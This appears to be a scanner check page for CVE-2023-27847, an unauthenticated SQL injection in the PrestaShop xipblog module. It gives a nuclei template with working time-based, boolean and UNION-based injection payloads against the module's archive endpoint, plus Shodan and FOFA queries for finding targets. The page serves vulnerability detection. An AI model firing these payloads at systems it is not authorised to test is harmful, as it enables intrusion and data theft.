PrestaShop xipblog - SQL Injection

criticalseverity

9.8CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access and data leakage.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /
Positive when: contains "xipblog"
Send: @timeout: 20s
Positive when: duration >= 5 and status_code != 404
Send: @timeout: 20s
Positive when: contains "kr_blog_post_area"
Send: GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5485--+xhCs
Positive when: !contains(body, "kr_blog_post_area")
Send: GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL…
Positive when: status_code != 404 and contains(body, "{{md5({{num}})}}")

Run it with nuclei: nuclei -id CVE-2023-27847 -u <target>

The full check

id: CVE-2023-27847

info:
  name: PrestaShop xipblog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access and data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27847
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27847
    cwe-id: CWE-89
    epss-score: 0.04715
    epss-percentile: 0.91903
  metadata:
    verified: true
    max-request: 5
    framework: prestashop
    shodan-query: html:"/xipblog"
    fofa-query: app="Prestashop"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,xipblog,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: word
        part: body
        words:
          - 'xipblog'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(5)))AuDU)--+lafl HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration >= 5'
          - 'status_code != 404'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5484--+xhCs HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: word
        part: body
        words:
          - 'kr_blog_post_area'
        internal: true

  - raw:
      - |
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+5484=5485--+xhCs HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: blind-based
        dsl:
          - '!contains(body, "kr_blog_post_area")'
        internal: true

  - raw:
      - |
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL--+- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        name: union-based
        dsl:
          - 'status_code != 404'
          - 'contains(body, "{{md5({{num}})}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from